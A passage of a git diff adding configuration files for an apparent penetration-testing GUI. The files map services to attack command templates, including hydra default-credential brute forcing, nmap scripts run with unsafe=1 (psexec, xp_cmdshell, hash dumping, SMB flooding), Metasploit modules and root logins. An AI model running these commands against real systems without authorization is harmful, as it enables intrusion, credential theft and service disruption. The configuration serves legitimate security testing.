--script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, + +[SchedulerSettings] +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp + +[StagedNmapSettings] +stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" +stage2-ports="T:135,137,139,445,1433,88" +stage3-ports="U:53,110,161,500" +stage4-ports="Vulners,CVE" +stage5-ports="T:80" +stage6-ports="T:80" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +pyshodan-api-key=YourKeyGoesHere +texteditor-path=/usr/bin/leafpad diff --git a/custom_configs/medium_scope_custom_ports.conf b/custom_configs/medium_scope_custom_ports.conf new file mode 100644 index 00000000..32a99ebb --- /dev/null +++ b/custom_configs/medium_scope_custom_ports.conf @@ -0,0 +1,325 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=xterm +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" 